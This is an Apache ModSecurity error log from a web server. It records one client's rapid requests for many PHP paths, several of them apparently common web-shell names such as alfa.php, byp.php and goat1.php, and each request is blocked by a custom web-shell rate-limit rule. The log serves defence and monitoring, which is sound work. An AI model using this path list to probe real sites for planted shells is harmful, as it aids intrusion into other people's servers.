[Thu Dec 18 21:58:23.492090 2025] [:error] [pid 25357:tid 25364] [client 4.190.217.214:9153] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aUQIf4aT7bsEXnJVfJd1yAAAAcU"]
[Thu Dec 18 21:58:24.150749 2025] [:error] [pid 24542:tid 24546] [client 4.190.217.214:9149] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aUQIgEtQz4H2oS3NrDYrSwAAAUI"]
[Thu Dec 18 21:58:24.645506 2025] [:error] [pid 12239:tid 12264] [client 4.190.217.214:9122] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aUQIgNNnXxfGIuWO6aknIwAAApQ"]
[Thu Dec 18 21:58:25.300615 2025] [:error] [pid 23558:tid 23624] [client 4.190.217.214:9119] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aUQIgeHam9NbgPQa9uYxowAAAMk"]
[Thu Dec 18 21:58:25.679127 2025] [:error] [pid 12035:tid 12044] [client 4.190.217.214:9115] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aUQIgbcVHrNSHjCo-0qgvwAAAgI"]
[Thu Dec 18 21:58:26.222897 2025] [:error] [pid 23645:tid 23651] [client 4.190.217.214:9195] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aUQIgjf_Rx0Y0ao_QJhn2gAAAIQ"]
[Thu Dec 18 21:58:26.629012 2025] [:error] [pid 23645:tid 23659] [client 4.190.217.214:13262] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aUQIgjf_Rx0Y0ao_QJhn2wAAAIw"]
[Thu Dec 18 21:58:27.140138 2025] [:error] [pid 12383:tid 12409] [client 4.190.217.214:9134] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUQIg_dgllo9h1cyxGbPZgAAAtc"]
[Thu Dec 18 21:58:27.441086 2025] [:error] [pid 24542:tid 24547] [client 4.190.217.214:9151] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUQIg0tQz4H2oS3NrDYrTQAAAUM"]
[Thu Dec 18 21:58:27.703934 2025] [:error] [pid 23558:tid 23618] [client 4.190.217.214:9056] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUQIg-Ham9NbgPQa9uYxqAAAAMM"]
[Thu Dec 18 21:58:28.033424 2025] [:error] [pid 23556:tid 23564] [client 4.190.217.214:9139] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUQIhBnmLlk3u5yt9kHzjwAAAAQ"]
[Thu Dec 18 21:58:28.318667 2025] [:error] [pid 25357:tid 25363] [client 4.190.217.214:9211] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aUQIhIaT7bsEXnJVfJd10AAAAcQ"]
[Thu Dec 18 21:58:28.619613 2025] [:error] [pid 24542:tid 24560] [client 4.190.217.214:9034] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aUQIhEtQz4H2oS3NrDYrTwAAAVA"]
[Thu Dec 18 21:58:28.987045 2025] [:error] [pid 23556:tid 23567] [client 4.190.217.214:13219] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aUQIhBnmLlk3u5yt9kHzkQAAAAc"]
[Thu Dec 18 21:58:29.365890 2025] [:error] [pid 25357:tid 25373] [client 4.190.217.214:8961] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aUQIhYaT7bsEXnJVfJd11wAAAc4"]
[Thu Dec 18 21:58:29.866342 2025] [:error] [pid 25357:tid 25371] [client 4.190.217.214:9173] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aUQIhYaT7bsEXnJVfJd12QAAAcw"]
[Thu Dec 18 21:58:30.115951 2025] [:error] [pid 25357:tid 25375] [client 4.190.217.214:13242] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aUQIhoaT7bsEXnJVfJd13AAAAdA"]
[Thu Dec 18 21:58:30.535028 2025] [:error] [pid 24958:tid 24981] [client 4.190.217.214:13294] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aUQIhskDOrUkd0wNm2HV-gAAAZQ"]
[Thu Dec 18 21:58:30.916585 2025] [:error] [pid 23558:tid 23627] [client 4.190.217.214:9063] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aUQIhuHam9NbgPQa9uYxqgAAAMw"]
[Thu Dec 18 21:58:31.271872 2025] [:error] [pid 12035:tid 12062] [client 4.190.217.214:9181] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aUQIh7cVHrNSHjCo-0qgwwAAAhM"]
[Thu Dec 18 21:58:31.855231 2025] [:error] [pid 23558:tid 23637] [client 4.190.217.214:9186] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aUQIh-Ham9NbgPQa9uYxrgAAANY"]
[Thu Dec 18 21:58:32.112990 2025] [:error] [pid 23558:tid 23629] [client 4.190.217.214:13230] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aUQIiOHam9NbgPQa9uYxrwAAAM4"]
[Thu Dec 18 21:58:32.470488 2025] [:error] [pid 12239:tid 12253] [client 4.190.217.214:9112] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aUQIiNNnXxfGIuWO6aknKQAAAok"]
[Thu Dec 18 21:58:32.966101 2025] [:error] [pid 23556:tid 23562] [client 4.190.217.214:9194] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aUQIiBnmLlk3u5yt9kHzlwAAAAI"]
[Thu Dec 18 21:58:33.223575 2025] [:error] [pid 25357:tid 25373] [client 4.190.217.214:9071] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aUQIiYaT7bsEXnJVfJd16QAAAc4"]
[Thu Dec 18 21:58:33.679701 2025] [:error] [pid 25357:tid 25364] [client 4.190.217.214:9116] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aUQIiYaT7bsEXnJVfJd16gAAAcU"]
[Thu Dec 18 21:58:34.059224 2025] [:error] [pid 12035:tid 12046] [client 4.190.217.214:9206] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aUQIircVHrNSHjCo-0qgxAAAAgQ"]
[Thu Dec 18 21:58:34.368906 2025] [:error] [pid 12239:tid 12266] [client 4.190.217.214:13231] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aUQIitNnXxfGIuWO6aknLgAAApY"]
[Thu Dec 18 21:58:34.848041 2025] [:error] [pid 12239:tid 12244] [client 4.190.217.214:9182] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aUQIitNnXxfGIuWO6aknMwAAAoA"]
[Thu Dec 18 21:58:35.242393 2025] [:error] [pid 24433:tid 24439] [client 4.190.217.214:9039] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aUQIi54pN9ycmipm8TjjvQAAAQM"]
[Thu Dec 18 21:58:35.515518 2025] [:error] [pid 25357:tid 25372] [client 4.190.217.214:9037] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aUQIi4aT7bsEXnJVfJd19gAAAc0"]
[Thu Dec 18 21:58:35.820988 2025] [:error] [pid 12239:tid 12263] [client 4.190.217.214:9148] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUQIi9NnXxfGIuWO6aknOQAAApM"]
[Thu Dec 18 21:58:36.160348 2025] [:error] [pid 12239:tid 12245] [client 4.190.217.214:8966] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUQIjNNnXxfGIuWO6aknPwAAAoE"]
[Thu Dec 18 21:58:36.502869 2025] [:error] [pid 12239:tid 12266] [client 4.190.217.214:9196] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUQIjNNnXxfGIuWO6aknQgAAApY"]
[Thu Dec 18 21:58:36.965821 2025] [:error] [pid 23556:tid 23566] [client 4.190.217.214:9052] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUQIjBnmLlk3u5yt9kHztwAAAAY"]
[Thu Dec 18 21:58:37.451617 2025] [:error] [pid 12035:tid 12049] [client 4.190.217.214:9100] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aUQIjbcVHrNSHjCo-0qgywAAAgc"]
[Thu Dec 18 21:58:38.122169 2025] [:error] [pid 24433:tid 24452] [client 4.190.217.214:9209] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aUQIjp4pN9ycmipm8TjjvwAAARA"]
[Thu Dec 18 21:58:38.530134 2025] [:error] [pid 24542:tid 24558] [client 4.190.217.214:9102] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aUQIjktQz4H2oS3NrDYrYwAAAU4"]
[Thu Dec 18 21:58:38.800805 2025] [:error] [pid 12383:tid 12403] [client 4.190.217.214:9078] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aUQIjvdgllo9h1cyxGbPagAAAtE"]
[Thu Dec 18 21:58:39.346966 2025] [:error] [pid 12239:tid 12250] [client 4.190.217.214:9035] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUQIj9NnXxfGIuWO6aknTgAAAoY"]
[Thu Dec 18 21:58:39.968926 2025] [:error] [pid 12239:tid 12260] [client 4.190.217.214:9187] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUQIj9NnXxfGIuWO6aknUwAAApA"]
[Thu Dec 18 21:58:40.635144 2025] [:error] [pid 12239:tid 12268] [client 4.190.217.214:9128] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUQIkNNnXxfGIuWO6aknWQAAApg"]
[Thu Dec 18 21:58:41.010248 2025] [:error] [pid 24542:tid 24547] [client 4.190.217.214:9118] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUQIkUtQz4H2oS3NrDYrawAAAUM"]
[Thu Dec 18 21:58:41.428542 2025] [:error] [pid 25357:tid 25371] [client 4.190.217.214:9082] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aUQIkYaT7bsEXnJVfJd2AgAAAcw"]
[Thu Dec 18 21:58:41.896959 2025] [:error] [pid 12035:tid 12063] [client 4.190.217.214:9169] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aUQIkbcVHrNSHjCo-0qg1QAAAhQ"]
[Thu Dec 18 21:58:42.403441 2025] [:error] [pid 23558:tid 23639] [client 4.190.217.214:9085] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aUQIkuHam9NbgPQa9uYxuwAAANg"]
[Thu Dec 18 21:58:42.877105 2025] [:error] [pid 12035:tid 12043] [client 4.190.217.214:9126] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aUQIkrcVHrNSHjCo-0qg1gAAAgE"]
[Thu Dec 18 21:58:43.238472 2025] [:error] [pid 24542:tid 24568] [client 4.190.217.214:9058] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aUQIk0tQz4H2oS3NrDYrbwAAAVg"]
[Thu Dec 18 21:58:43.632772 2025] [:error] [pid 12383:tid 12393] [client 4.190.217.214:9179] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aUQIk_dgllo9h1cyxGbPdAAAAsc"]
[Thu Dec 18 21:58:44.544241 2025] [:error] [pid 25357:tid 25359] [client 4.190.217.214:13237] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aUQIlIaT7bsEXnJVfJd2BgAAAcA"]
[Thu Dec 18 21:58:44.830744 2025] [:error] [pid 24958:tid 24963] [client 4.190.217.214:9204] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aUQIlMkDOrUkd0wNm2HWDAAAAYI"]
[Thu Dec 18 21:58:45.137300 2025] [:error] [pid 12383:tid 12388] [client 4.190.217.214:9142] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aUQIlfdgllo9h1cyxGbPegAAAsI"]
[Thu Dec 18 21:58:45.452363 2025] [:error] [pid 24542:tid 24547] [client 4.190.217.214:9028] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aUQIlUtQz4H2oS3NrDYrdQAAAUM"]
[Thu Dec 18 21:58:45.933293 2025] [:error] [pid 23556:tid 23573] [client 4.190.217.214:9202] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aUQIlRnmLlk3u5yt9kH0AwAAAA0"]
[Thu Dec 18 21:58:46.589613 2025] [:error] [pid 23645:tid 23657] [client 4.190.217.214:9060] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aUQIljf_Rx0Y0ao_QJhn9wAAAIo"]
[Thu Dec 18 21:58:47.162258 2025] [:error] [pid 23645:tid 23651] [client 4.190.217.214:9105] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aUQIlzf_Rx0Y0ao_QJhn-QAAAIQ"]
